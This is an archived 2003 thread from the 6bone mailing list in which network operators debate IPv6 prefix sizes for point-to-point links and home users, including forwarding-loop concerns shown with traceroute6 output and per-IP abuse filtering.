Cc: Dan Reeder <dan@reeder.name>, ktso@cuhk.edu.hk, 6bone@ISI.EDU
Subject: Re: [6bone] Is minimum allocation /64 now?
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On Fri, Oct 24, 2003 at 09:12:48AM +0300, Pekka Savola wrote:
> On Fri, 24 Oct 2003, Dan Reeder wrote:
> > Having read that rfc, howcome you suggest /112 or /64 rather than a /126 to
> > get around the anycast problem? The section 4.3 clearly states that the /126
> > will work fine - what is the point of suggesting a shorter prefix? To me
> > thats just wasteful addressing.
> 
> Uhh, please stop to think about it.  Even if we use /112's, we can have
> 2^48 of them, assigned from a single /64.  No ISP should need ever more
> point-to-point addresses than that :-).
> 
> Remember that "wasteful addressing" has entirely different meanings in
> IPv6 than IPv4.  Once you have an IPv6 /64, you can put as many nodes in
> that as you want, compared to e.g. an IPv4 /24.
> 
> /112 is a great simplification over /126 from the user's perfective.  This 
> is because with /126 you should use something like:
> 
> 3ffe:ffff:ffff::f00:{1,2}/126
> 3ffe:ffff:ffff::f00:{4,5}/126
> 3ffe:ffff:ffff::f00:{7,8}/126
> 3ffe:ffff:ffff::f00:{a,b}/126
> 3ffe:ffff:ffff::f00:{d,e}/126
> 3ffe:ffff:ffff::f01:{1,2}/126
> ....

But using a non /126 or /127 on a p2p link can result in a forwarding
loop, assume the the 2 routers have :1 and :2, and someone sends traffic
to :3, if the netmask is larger than /126, the routers will do a longest
match lookup, will find the interface prefix, and send the packet on the
p2p interface - unless they have a specific check to drop these packets.

/Jesper

-- 
Jesper Skriver, jesper(at)skriver(dot)dk  -  CCIE #5456

One Unix to rule them all, One Resolver to find them,
One IP to bring them all and in the zone to bind them.

From gert@Space.Net Fri Oct 24 04:12:01 2003
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From: Gert Doering <gert@space.net>
To: Jesper Skriver <jesper@skriver.dk>
Cc: Pekka Savola <pekkas@netcore.fi>, Dan Reeder <dan@reeder.name>,
   ktso@cuhk.edu.hk, 6bone@ISI.EDU
Subject: Re: [6bone] Is minimum allocation /64 now?
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Hi,

On Fri, Oct 24, 2003 at 12:18:08PM +0200, Jesper Skriver wrote:
> But using a non /126 or /127 on a p2p link can result in a forwarding
> loop, assume the the 2 routers have :1 and :2, and someone sends traffic
> to :3, if the netmask is larger than /126, the routers will do a longest
> match lookup, will find the interface prefix, and send the packet on the
> p2p interface - unless they have a specific check to drop these packets.

Actually the routers seem to have that check.  I can't tell you off-hand
where this is documented/recommended, but it works.

Look at this example.  Two Cisco 12.2S boxes, one end is :101, the other
one is :102, tunnel configured as /124:

local end:
traceroute6 to 2001:608:0:3::15a3:101, 30 hops max, 12 byte packets
 1  2001:608:0:1::1  0.964 ms  0.764 ms  1.956 ms
 2  2001:608:0:11::115  1.852 ms  1.262 ms  1.036 ms

remote end:
traceroute6 to 2001:608:0:3::15a3:102, 30 hops max, 12 byte packets
 1  2001:608:0:1::1  0.952 ms  0.945 ms  0.832 ms
 2  2001:608:0:11::115  1.289 ms  1.215 ms  1.261 ms
 3  2001:608:0:3::15a3:102  9.043 ms  9.592 ms  8.197 ms

"address that would be expected to loop":

traceroute6 to 2001:608:0:3::15a3:103, 30 hops max, 12 byte packets
 1  2001:608:0:1::1  1.038 ms  1.054 ms  0.725 ms
 2  2001:608:0:11::115  1.377 ms  1.274 ms  1.245 ms
 3  2001:608:0:3::15a3:102  28.013 ms  8.708 ms  9.439 ms
 4  2001:608:0:3::15a3:102  8.604 ms !A  9.168 ms !A  8.119 ms !A

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  57785 (56883)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From jesper@skriver.dk Fri Oct 24 04:41:33 2003
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From: Jesper Skriver <jesper@skriver.dk>
To: Gert Doering <gert@space.net>
Cc: Pekka Savola <pekkas@netcore.fi>, Dan Reeder <dan@reeder.name>,
   ktso@cuhk.edu.hk, 6bone@ISI.EDU
Subject: Re: [6bone] Is minimum allocation /64 now?
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On Fri, Oct 24, 2003 at 01:11:58PM +0200, Gert Doering wrote:
> Hi,
> 
> On Fri, Oct 24, 2003 at 12:18:08PM +0200, Jesper Skriver wrote:
> > But using a non /126 or /127 on a p2p link can result in a forwarding
> > loop, assume the the 2 routers have :1 and :2, and someone sends traffic
> > to :3, if the netmask is larger than /126, the routers will do a longest
> > match lookup, will find the interface prefix, and send the packet on the
> > p2p interface - unless they have a specific check to drop these packets.
> 
> Actually the routers seem to have that check.  I can't tell you off-hand
> where this is documented/recommended, but it works.
> 
> Look at this example.  Two Cisco 12.2S boxes, one end is :101, the other
> one is :102, tunnel configured as /124:

Good - but does all IPv6 implementations have this check ? (which likely
have a performance impact), it it wise to have a recommendation that
assume this check exist ?

/Jesper

-- 
Jesper Skriver, jesper(at)skriver(dot)dk  -  CCIE #5456

One Unix to rule them all, One Resolver to find them,
One IP to bring them all and in the zone to bind them.

From gert@Space.Net Fri Oct 24 04:43:15 2003
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Cc: Gert Doering <gert@space.net>, Pekka Savola <pekkas@netcore.fi>,
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Hi,

On Fri, Oct 24, 2003 at 01:41:31PM +0200, Jesper Skriver wrote:
> > Actually the routers seem to have that check.  I can't tell you off-hand
> > where this is documented/recommended, but it works.
[..]
> 
> Good - but does all IPv6 implementations have this check ? (which likely
> have a performance impact), it it wise to have a recommendation that
> assume this check exist ?

As the addressing architecture mandates /64s, I hope there is a RFC
somewhere that mandates this check :-)

And no, I have no idea whether all implementations get this right (I'm 
sure they don't...).   On the other hand, with a /126, you have also
one address that has the potential for looping...

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  57785 (56883)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From pekkas@netcore.fi Fri Oct 24 06:16:50 2003
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From: Pekka Savola <pekkas@netcore.fi>
To: Jesper Skriver <jesper@skriver.dk>
cc: Dan Reeder <dan@reeder.name>, <ktso@cuhk.edu.hk>, <6bone@ISI.EDU>
Subject: Re: [6bone] Is minimum allocation /64 now?
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On Fri, 24 Oct 2003, Jesper Skriver wrote:
> > 3ffe:ffff:ffff::f01:{1,2}/126
> 
> But using a non /126 or /127 on a p2p link can result in a forwarding
> loop, assume the the 2 routers have :1 and :2, and someone sends traffic
> to :3, if the netmask is larger than /126, the routers will do a longest
> match lookup, will find the interface prefix, and send the packet on the
> p2p interface - unless they have a specific check to drop these packets.

This can only be _theoretically_ avoided by the use of a /127 or two 
/128's (or just leaving out the address altogether).  /126 is equally 
affected, as IPv6 does not have the broadcast address; /126 is not a 
equivalent to IPv4 /30.

Whether the implementations check these things is another matter..

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings


From jorgen@hovland.cx Fri Oct 24 07:55:03 2003
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Subject: Re: [6bone] Is minimum allocation /64 now?
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> On Fri, 24 Oct 2003, Jesper Skriver wrote:
> > > 3ffe:ffff:ffff::f01:{1,2}/126
> >
> > But using a non /126 or /127 on a p2p link can result in a forwarding
> > loop, assume the the 2 routers have :1 and :2, and someone sends traffic
> > to :3, if the netmask is larger than /126, the routers will do a longest
> > match lookup, will find the interface prefix, and send the packet on the
> > p2p interface - unless they have a specific check to drop these packets.
>
> This can only be _theoretically_ avoided by the use of a /127 or two
> /128's (or just leaving out the address altogether).  /126 is equally
> affected, as IPv6 does not have the broadcast address; /126 is not a
> equivalent to IPv4 /30.
>
> Whether the implementations check these things is another matter..
>

In some scenarios, we use /127 or /128 on p2p-links (the transport
layer/protocol is irrelevant) because we do not want other third parties to
communicate by grabbing an availible IP, or we do not want the other second
party to be able to use more than 1 IP. This is a security concern we
consider important. Does this mean that we have to use IP-filters in the
future to setup p2p-links if the standard becomes /64 ?

Joergen Hovland ENK


From pekkas@netcore.fi Fri Oct 24 09:13:20 2003
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Subject: Re: [6bone] Is minimum allocation /64 now?
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On Fri, 24 Oct 2003, Jørgen Hovland wrote:
> In some scenarios, we use /127 or /128 on p2p-links (the transport
> layer/protocol is irrelevant) because we do not want other third parties to
> communicate by grabbing an availible IP, or we do not want the other second
> party to be able to use more than 1 IP. This is a security concern we
> consider important. Does this mean that we have to use IP-filters in the
> future to setup p2p-links if the standard becomes /64 ?

First, I'm not sure if I see the threat you raise?  Could you describe the 
threat model a bit?  Are you deploying a p2p link towards an untrusted 
medium or a customer, and you'd be worried that someone from that link or 
the customer itself would use more than one IP?

Use of /128 should not have issues I think.. nor the use of filters, which
would probably always be the safest choice when in doubt.

Second, the _standard_ is _already_ /64.  Has been for about ten years
now.  Some folks just ignore it :-)

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings


From gert@Space.Net Fri Oct 24 09:20:48 2003
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Hi,

On Fri, Oct 24, 2003 at 03:54:40PM +0100, Jørgen Hovland wrote:
> In some scenarios, we use /127 or /128 on p2p-links (the transport
> layer/protocol is irrelevant) because we do not want other third parties to
> communicate by grabbing an availible IP, or we do not want the other second
> party to be able to use more than 1 IP. This is a security concern we
> consider important. Does this mean that we have to use IP-filters in the
> future to setup p2p-links if the standard becomes /64 ?

The standard *is* /64 (the RFC says so).  Just to clarify.

But that's not my point.  It's more curiousity: why are you doing this,
that is, "restrict that line to a single IP address"?  I mean, the whole
point of v6 is "the amount of addresses available is HUGE".

Is this some sort of "customer must hook only a single device to your
service" product (which can be circumvented by application proxies,
of course)?

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  57785 (56883)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From jorgen@hovland.cx Fri Oct 24 14:03:45 2003
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Subject: Re: [6bone] Is minimum allocation /64 now?
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----- Original Message ----- 
From: "Pekka Savola" <pekkas@netcore.fi>
From: "Gert Doering" <gert@space.net>
Cc: <6bone@ISI.EDU>
Sent: Friday, October 24, 2003 5:13 PM
Subject: Re: [6bone] Is minimum allocation /64 now?


...
>Is this some sort of "customer must hook only a single device to your
>service" product (which can be circumvented by application proxies,
>of course)?
...
>First, I'm not sure if I see the threat you raise?  Could you describe the
>threat model a bit?
...

I'll give it a try.
"Anonymous P2P-connections"
If you use a /64 and give the peer an ip address, you have no guarantee it
will be using that address, or only that address, because you allocated the
whole /64.

Single-user products are the most obviously ones.  When our product
descriptions says "one person only", and you give them a billion ip
addresses instead of the one they only needed, something tells me that abuse
will increase.  Sure you can hook up several other devices through a proxy.
Thats what people do today, but we are trying to atleast shut the door
instead of leaving it wide open. You can sell internet to the whole world
with just one /64, and everybody will get their own ip address.

Many services today are filtered per ip address.
We are one of many who do just that: Limit webcast connections by 1 per ip
address. Prevent a person from registering a million new emailaccounts.
Prevent a person from sending more than 1 free mms daily and so on. Ip
address filtering is a part of the whole solution to limit abuse on many
services: Web-, mail-,chat- and smsservers... With ipv6 we have to skip the
whole thing.

On a local area network, a /64 is shared by everyone. On a P2P-link it is
only used by one person. How do you know if that particular /64 is being
used by a single person or 5000 persons?  When you give each client/link so
many ip addresses its impossible to set any restrictions/filters based on ip
address because it could hurt innocent people.


>The standard *is* /64 (the RFC says so).  Just to clarify.

RFC's are voidable when the majority says so.


Joergen Hovland ENK


From jeroen@unfix.org Fri Oct 24 15:12:31 2003
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Subject: RE: [6bone] Is minimum allocation /64 now?
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-----BEGIN PGP SIGNED MESSAGE-----

Jørgen Hovland wrote:

> I'll give it a try.
> "Anonymous P2P-connections"
> If you use a /64 and give the peer an ip address, you have no 
> guarantee it will be using that address, or only that address, because you 
> allocated the whole /64.

I suggest you stick to IPv4 and NAT. And no I don't mean that sarcastic.

If you want to sell 'single-user' products then count their
bandwidth usage. Or are you getting your IP's from your transit provider?
Transit providers charge you for bandwidth consumption.
So should you. If you have no intention of selling them internet access
then why call yourself an ISP at all ?

"single-user products" as you call it are the biggest reasons why
we have those awfull NAT's today. And how many users are behind
that NAT even though you just gave them 1 IPv4 address? LOTS.

> >The standard *is* /64 (the RFC says so).  Just to clarify.
> 
> RFC's are voidable when the majority says so.

I suggest you stay away from IPv6 as you don't have any intention
of using it for the biggest reason: End to End connectivity.

Greets,
 Jeroen

-----BEGIN PGP SIGNATURE-----
Version: Unfix PGP for Outlook Alpha 13 Int.
Comment: Jeroen Massar / jeroen@unfix.org / http://unfix.org/~jeroen/

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From jorgen@hovland.cx Fri Oct 24 16:57:28 2003
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On Sat, 25 Oct 2003, Jeroen Massar wrote:

> If you want to sell 'single-user' products then count their
> bandwidth usage. Or are you getting your IP's from your transit provider?
> Transit providers charge you for bandwidth consumption.

There are ISP's already doing that and there are ISP's totally against
it.

> So should you. If you have no intention of selling them internet access
> then why call yourself an ISP at all ?

There are people who do not feel charging by capacity is the proper way to
do it, but by the ammount of users. There are infact ISP's who do this
today.

> "single-user products" as you call it are the biggest reasons why
> we have those awfull NAT's today. And how many users are behind
> that NAT even though you just gave them 1 IPv4 address? LOTS.

There's a difference between denying a person extra ip addresses and
giving out a billion without asking if the person needs it.

Many ISP's charge for extra ip addresses, and they dont do it just because
they have to type in 3 commands on their router. NAT gives a certain ammount
of security for end-users.

Joergen Hovland ENK

From dan@reeder.name Fri Oct 24 18:30:44 2003
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Subject: Re: [6bone] Is minimum allocation /64 now?
Date: Sat, 25 Oct 2003 11:30:45 +1000
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I think you've misinterpreted his comments Jeroen
To me it merely meant a /126 ("single user endpoint") as a means to reach a
customer's /48 or /64 prefix. That seems perfectly acceptable for standard
single-homed subnets. There's no intention of things becomming like NAT...
its just intended to be the equivilant of ipv4 /30s
Of course you'd increase it to perhaps /112 if the customer wanted their
subnet to be multihomed, or perhaps use  the existing /126 with a new /126.

It's not that we dont get the subject, indeed I think we do - its just that
goign to extremes such as saying /64s MUST be used for ptp links because an
RFC says so seems a little excessive. Certianly from a tunnel broker's
perspective we'd prefer to assign something quite small (/127s as we've been
doing - that may change to /126s or /112s after this thread) for the ptp
tunnelling, and then a larger block eg /64 or /48 for their own LAN routing.

But what happens when you do have a single user without a LAN of their own
wanting ipv6 access? Assigning a /64 would not be of any more benefit to
them over assigning a /128. Or do you reckon every user in the world (eg
dialup, home dsl) should be assigned a /64 via something like PPP in the off
chance they do want to some subnetting?

Dan Reeder
tb.ipv6.net.au

----- Original Message ----- 
From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Jørgen Hovland'" <jorgen@hovland.cx>; "'Pekka Savola'"
<pekkas@netcore.fi>; "'Gert Doering'" <gert@space.net>
Cc: <6bone@ISI.EDU>
Sent: Saturday, October 25, 2003 8:12 AM
Subject: RE: [6bone] Is minimum allocation /64 now?


> -----BEGIN PGP SIGNED MESSAGE-----
>
> Jørgen Hovland wrote:
>
> > I'll give it a try.
> > "Anonymous P2P-connections"
> > If you use a /64 and give the peer an ip address, you have no
> > guarantee it will be using that address, or only that address, because
you
> > allocated the whole /64.
>
> I suggest you stick to IPv4 and NAT. And no I don't mean that sarcastic.
>
> If you want to sell 'single-user' products then count their
> bandwidth usage. Or are you getting your IP's from your transit provider?
> Transit providers charge you for bandwidth consumption.
> So should you. If you have no intention of selling them internet access
> then why call yourself an ISP at all ?
>
> "single-user products" as you call it are the biggest reasons why
> we have those awfull NAT's today. And how many users are behind
> that NAT even though you just gave them 1 IPv4 address? LOTS.
>
> > >The standard *is* /64 (the RFC says so).  Just to clarify.
> >
> > RFC's are voidable when the majority says so.
>
> I suggest you stay away from IPv6 as you don't have any intention
> of using it for the biggest reason: End to End connectivity.
>
> Greets,
>  Jeroen
>
> -----BEGIN PGP SIGNATURE-----
> Version: Unfix PGP for Outlook Alpha 13 Int.
> Comment: Jeroen Massar / jeroen@unfix.org / http://unfix.org/~jeroen/
>
> iQA/AwUBP5mjyimqKFIzPnwjEQJh0ACgqwnnDvq7+GNXUJrD+YF09+hRZ3MAn3J3
> SradMGIvvzzigNYLni4vF04n
> =2WmW
> -----END PGP SIGNATURE-----
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone



From old_mc_donald@hotmail.com Fri Oct 24 20:34:52 2003
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Subject: Re: [6bone] Is minimum allocation /64 now?
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----- Original Message ----- 
From: "Dan Reeder" <dan@reeder.name>

Or do you reckon every user in the world (eg
| dialup, home dsl) should be assigned a /64 via something like PPP in the
off
| chance they do want to some subnetting?

I don't pretend to understand all of this, but we are (as we always do)
thinking in terms of
just computers when talking about allocating IP addresses. Are we not also
to assume the same
for emerging technologies that ordinary users will need an allocation of a
range of addresses for things
such as 'the internet fridge by LG' , things like remote access from their
phones to turn the oven on, to
adjust the air-con, to record a TV program. And hundreds of other household
uses I can't
think of right now.Or will these also be done by proxy.

As I see it, the average household will undoubtedly have more than one
'computer' .

Gav...


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From tjc@ecs.soton.ac.uk Sat Oct 25 01:14:41 2003
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From: Tim Chown <tjc@ecs.soton.ac.uk>
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As an ISP you can allocate whatever you like.

There will be enough ISPs offering homes /48's and certainly /64's that
those that offer a /126 will simply lose business to the more forward
looking suppliers.

Customers who think NAT=security can continue to use IPv4.  Noone is forcing
them to use IPv6.

Yes I do think every home LAN should get a /48, and a static one.  That
means the ISP needs a lot more than a /32 though.

Tim

On Sat, Oct 25, 2003 at 11:30:45AM +1000, Dan Reeder wrote:
> I think you've misinterpreted his comments Jeroen
> To me it merely meant a /126 ("single user endpoint") as a means to reach a
> customer's /48 or /64 prefix. That seems perfectly acceptable for standard
> single-homed subnets. There's no intention of things becomming like NAT...
> its just intended to be the equivilant of ipv4 /30s
> Of course you'd increase it to perhaps /112 if the customer wanted their
> subnet to be multihomed, or perhaps use  the existing /126 with a new /126.
> 
> It's not that we dont get the subject, indeed I think we do - its just that
> goign to extremes such as saying /64s MUST be used for ptp links because an
> RFC says so seems a little excessive. Certianly from a tunnel broker's
> perspective we'd prefer to assign something quite small (/127s as we've been
> doing - that may change to /126s or /112s after this thread) for the ptp
> tunnelling, and then a larger block eg /64 or /48 for their own LAN routing.
> 
> But what happens when you do have a single user without a LAN of their own
> wanting ipv6 access? Assigning a /64 would not be of any more benefit to
> them over assigning a /128. Or do you reckon every user in the world (eg
> dialup, home dsl) should be assigned a /64 via something like PPP in the off
> chance they do want to some subnetting?
> 
> Dan Reeder
> tb.ipv6.net.au
> 
> ----- Original Message ----- 
> From: "Jeroen Massar" <jeroen@unfix.org>
> To: "'Jørgen Hovland'" <jorgen@hovland.cx>; "'Pekka Savola'"
> <pekkas@netcore.fi>; "'Gert Doering'" <gert@space.net>
> Cc: <6bone@ISI.EDU>
> Sent: Saturday, October 25, 2003 8:12 AM
> Subject: RE: [6bone] Is minimum allocation /64 now?
> 
> 
> > -----BEGIN PGP SIGNED MESSAGE-----
> >
> > Jørgen Hovland wrote:
> >
> > > I'll give it a try.
> > > "Anonymous P2P-connections"
> > > If you use a /64 and give the peer an ip address, you have no
> > > guarantee it will be using that address, or only that address, because
> you
> > > allocated the whole /64.
> >
> > I suggest you stick to IPv4 and NAT. And no I don't mean that sarcastic.
> >
> > If you want to sell 'single-user' products then count their
> > bandwidth usage. Or are you getting your IP's from your transit provider?
> > Transit providers charge you for bandwidth consumption.
> > So should you. If you have no intention of selling them internet access
> > then why call yourself an ISP at all ?
> >
> > "single-user products" as you call it are the biggest reasons why
> > we have those awfull NAT's today. And how many users are behind
> > that NAT even though you just gave them 1 IPv4 address? LOTS.
> >
> > > >The standard *is* /64 (the RFC says so).  Just to clarify.
> > >
> > > RFC's are voidable when the majority says so.
> >
> > I suggest you stay away from IPv6 as you don't have any intention
> > of using it for the biggest reason: End to End connectivity.
> >
> > Greets,
> >  Jeroen
> >
> > -----BEGIN PGP SIGNATURE-----
> > Version: Unfix PGP for Outlook Alpha 13 Int.
> > Comment: Jeroen Massar / jeroen@unfix.org / http://unfix.org/~jeroen/
> >
> > iQA/AwUBP5mjyimqKFIzPnwjEQJh0ACgqwnnDvq7+GNXUJrD+YF09+hRZ3MAn3J3
> > SradMGIvvzzigNYLni4vF04n
> > =2WmW
> > -----END PGP SIGNATURE-----
> >
> > _______________________________________________
> > 6bone mailing list
> > 6bone@mailman.isi.edu
> > http://mailman.isi.edu/mailman/listinfo/6bone
> 
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone

From haesu@mx01.bos.ma.towardex.com Sat Oct 25 02:21:41 2003
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From: Haesu <haesu@towardex.com>
To: Tim Chown <tjc@ecs.soton.ac.uk>, 6bone@ISI.EDU
Subject: Re: [6bone] Is minimum allocation /64 now?
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I understand the need to promote IPv6, and I understand the whole point of IPv6 is to provide fullblown end-to-end connectivity by having more than enough addresses everywhere..

But a /48 for a home network?.. i dunno..

I think /64 for a home network is far more than enough and reasonable.
Likewise, we hand off /64's to endusers, for those who want more, may be /60 or if requested, /48...

Feel free to correct me if my math is wrong but I believe /64 offs 18446744073709551616 addresses which is far more than the entire space IPv4 technology itself can offer.

I wanna see a single home user who will actually *use* even 50% of 18446744073709551616 addresses.
Start assigning IP's to every object in your house... i.e. fridge, watch, clock, cell phone, 3g, TV, playstation, computers, lights, microwave, coffeemaker, toilet, etc etc, etc et al. and I doubt even with all that, it comes close to half of 18446744073709551616.

Isn't assigning /48 to end users a bit over excessive you think? Or is the whole point of IPv6 "Let's waste address space until we run out it and panic later on.."?

-hc

-- 
Haesu C.
TowardEX Technologies, Inc.
Consulting, colocation, web hosting, network design and implementation
http://www.towardex.com | haesu@towardex.com
Cell: (978)394-2867     | Office: (978)263-3399 Ext. 170
Fax: (978)263-0033      | POC: HAESU-ARIN

On Sat, Oct 25, 2003 at 09:14:37AM +0100, Tim Chown wrote:
> As an ISP you can allocate whatever you like.
> 
> There will be enough ISPs offering homes /48's and certainly /64's that
> those that offer a /126 will simply lose business to the more forward
> looking suppliers.
> 
> Customers who think NAT=security can continue to use IPv4.  Noone is forcing
> them to use IPv6.
> 
> Yes I do think every home LAN should get a /48, and a static one.  That
> means the ISP needs a lot more than a /32 though.
> 
> Tim
> 
> On Sat, Oct 25, 2003 at 11:30:45AM +1000, Dan Reeder wrote:
> > I think you've misinterpreted his comments Jeroen
> > To me it merely meant a /126 ("single user endpoint") as a means to reach a
> > customer's /48 or /64 prefix. That seems perfectly acceptable for standard
> > single-homed subnets. There's no intention of things becomming like NAT...
> > its just intended to be the equivilant of ipv4 /30s
> > Of course you'd increase it to perhaps /112 if the customer wanted their
> > subnet to be multihomed, or perhaps use  the existing /126 with a new /126.
> > 
> > It's not that we dont get the subject, indeed I think we do - its just that
> > goign to extremes such as saying /64s MUST be used for ptp links because an
> > RFC says so seems a little excessive. Certianly from a tunnel broker's
> > perspective we'd prefer to assign something quite small (/127s as we've been
> > doing - that may change to /126s or /112s after this thread) for the ptp
> > tunnelling, and then a larger block eg /64 or /48 for their own LAN routing.
> > 
> > But what happens when you do have a single user without a LAN of their own
> > wanting ipv6 access? Assigning a /64 would not be of any more benefit to
> > them over assigning a /128. Or do you reckon every user in the world (eg
> > dialup, home dsl) should be assigned a /64 via something like PPP in the off
> > chance they do want to some subnetting?
> > 
> > Dan Reeder
> > tb.ipv6.net.au
> > 
> > ----- Original Message ----- 
> > From: "Jeroen Massar" <jeroen@unfix.org>
> > To: "'J?rgen Hovland'" <jorgen@hovland.cx>; "'Pekka Savola'"
> > <pekkas@netcore.fi>; "'Gert Doering'" <gert@space.net>
> > Cc: <6bone@ISI.EDU>
> > Sent: Saturday, October 25, 2003 8:12 AM
> > Subject: RE: [6bone] Is minimum allocation /64 now?
> > 
> > 
> > > -----BEGIN PGP SIGNED MESSAGE-----
> > >
> > > J?rgen Hovland wrote:
> > >
> > > > I'll give it a try.
> > > > "Anonymous P2P-connections"
> > > > If you use a /64 and give the peer an ip address, you have no
> > > > guarantee it will be using that address, or only that address, because
> > you
> > > > allocated the whole /64.
> > >
> > > I suggest you stick to IPv4 and NAT. And no I don't mean that sarcastic.
> > >
> > > If you want to sell 'single-user' products then count their
> > > bandwidth usage. Or are you getting your IP's from your transit provider?
> > > Transit providers charge you for bandwidth consumption.
> > > So should you. If you have no intention of selling them internet access
> > > then why call yourself an ISP at all ?
> > >
> > > "single-user products" as you call it are the biggest reasons why
> > > we have those awfull NAT's today. And how many users are behind
> > > that NAT even though you just gave them 1 IPv4 address? LOTS.
> > >
> > > > >The standard *is* /64 (the RFC says so).  Just to clarify.
> > > >
> > > > RFC's are voidable when the majority says so.
> > >
> > > I suggest you stay away from IPv6 as you don't have any intention
> > > of using it for the biggest reason: End to End connectivity.
> > >
> > > Greets,
> > >  Jeroen
> > >
> > > -----BEGIN PGP SIGNATURE-----
> > > Version: Unfix PGP for Outlook Alpha 13 Int.
> > > Comment: Jeroen Massar / jeroen@unfix.org / http://unfix.org/~jeroen/
> > >
> > > iQA/AwUBP5mjyimqKFIzPnwjEQJh0ACgqwnnDvq7+GNXUJrD+YF09+hRZ3MAn3J3
> > > SradMGIvvzzigNYLni4vF04n
> > > =2WmW
> > > -----END PGP SIGNATURE-----
> > >
> > > _______________________________________________
> > > 6bone mailing list
> > > 6bone@mailman.isi.edu
> > > http://mailman.isi.edu/mailman/listinfo/6bone
> > 
> > 
> > _______________________________________________
> > 6bone mailing list
> > 6bone@mailman.isi.edu
> > http://mailman.isi.edu/mailman/listinfo/6bone
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone


From tjc@ecs.soton.ac.uk Sat Oct 25 02:30:36 2003
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Date: Sat, 25 Oct 2003 10:30:34 +0100
From: Tim Chown <tjc@ecs.soton.ac.uk>
To: 6bone@ISI.EDU
Subject: Re: [6bone] Is minimum allocation /64 now?
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Yes, but a home user will want multiple subnets, so the number of addresses
per subnet isn't the issue.

The common RIR policy recommends a /48 per site.
http://www.ripe.net/ripe/docs/ipv6policy.html
also RFC3177.

If your ISP wishes to apply IPv4 thinking to IPv6 services, I suspect there
will be enough IPv6 ISPs that do give recommended allocations such that
noone will come to you for an IPv6 service when the alternative is better
elsewhere?

Noone will force you to allocate more than a /64.   The market will decide
in due course what is the norm.

Tim

On Sat, Oct 25, 2003 at 05:21:43AM -0400, Haesu wrote:
> I understand the need to promote IPv6, and I understand the whole point of IPv6 is to provide fullblown end-to-end connectivity by having more than enough addresses everywhere..
> 
> But a /48 for a home network?.. i dunno..
> 
> I think /64 for a home network is far more than enough and reasonable.
> Likewise, we hand off /64's to endusers, for those who want more, may be /60 or if requested, /48...
> 
> Feel free to correct me if my math is wrong but I believe /64 offs 18446744073709551616 addresses which is far more than the entire space IPv4 technology itself can offer.
> 
> I wanna see a single home user who will actually *use* even 50% of 18446744073709551616 addresses.
> Start assigning IP's to every object in your house... i.e. fridge, watch, clock, cell phone, 3g, TV, playstation, computers, lights, microwave, coffeemaker, toilet, etc etc, etc et al. and I doubt even with all that, it comes close to half of 18446744073709551616.
> 
> Isn't assigning /48 to end users a bit over excessive you think? Or is the whole point of IPv6 "Let's waste address space until we run out it and panic later on.."?
> 
> -hc
> 
> -- 
> Haesu C.
> TowardEX Technologies, Inc.
> Consulting, colocation, web hosting, network design and implementation
> http://www.towardex.com | haesu@towardex.com
> Cell: (978)394-2867     | Office: (978)263-3399 Ext. 170
> Fax: (978)263-0033      | POC: HAESU-ARIN
> 
> On Sat, Oct 25, 2003 at 09:14:37AM +0100, Tim Chown wrote:
> > As an ISP you can allocate whatever you like.
> > 
> > There will be enough ISPs offering homes /48's and certainly /64's that
> > those that offer a /126 will simply lose business to the more forward
> > looking suppliers.
> > 
> > Customers who think NAT=security can continue to use IPv4.  Noone is forcing
> > them to use IPv6.
> > 
> > Yes I do think every home LAN should get a /48, and a static one.  That
> > means the ISP needs a lot more than a /32 though.
> > 
> > Tim
> > 
> > On Sat, Oct 25, 2003 at 11:30:45AM +1000, Dan Reeder wrote:
> > > I think you've misinterpreted his comments Jeroen
> > > To me it merely meant a /126 ("single user endpoint") as a means to reach a
> > > customer's /48 or /64 prefix. That seems perfectly acceptable for standard
> > > single-homed subnets. There's no intention of things becomming like NAT...
> > > its just intended to be the equivilant of ipv4 /30s
> > > Of course you'd increase it to perhaps /112 if the customer wanted their
> > > subnet to be multihomed, or perhaps use  the existing /126 with a new /126.
> > > 
> > > It's not that we dont get the subject, indeed I think we do - its just that
> > > goign to extremes such as saying /64s MUST be used for ptp links because an
> > > RFC says so seems a little excessive. Certianly from a tunnel broker's
> > > perspective we'd prefer to assign something quite small (/127s as we've been
> > > doing - that may change to /126s or /112s after this thread) for the ptp
> > > tunnelling, and then a larger block eg /64 or /48 for their own LAN routing.
> > > 
> > > But what happens when you do have a single user without a LAN of their own
> > > wanting ipv6 access? Assigning a /64 would not be of any more benefit to
> > > them over assigning a /128. Or do you reckon every user in the world (eg
> > > dialup, home dsl) should be assigned a /64 via something like PPP in the off
> > > chance they do want to some subnetting?
> > > 
> > > Dan Reeder
> > > tb.ipv6.net.au
> > > 
> > > ----- Original Message ----- 
> > > From: "Jeroen Massar" <jeroen@unfix.org>
> > > To: "'J?rgen Hovland'" <jorgen@hovland.cx>; "'Pekka Savola'"
> > > <pekkas@netcore.fi>; "'Gert Doering'" <gert@space.net>
> > > Cc: <6bone@ISI.EDU>
> > > Sent: Saturday, October 25, 2003 8:12 AM
> > > Subject: RE: [6bone] Is minimum allocation /64 now?
> > > 
> > > 
> > > > -----BEGIN PGP SIGNED MESSAGE-----
> > > >
> > > > J?rgen Hovland wrote:
> > > >
> > > > > I'll give it a try.
> > > > > "Anonymous P2P-connections"
> > > > > If you use a /64 and give the peer an ip address, you have no
> > > > > guarantee it will be using that address, or only that address, because
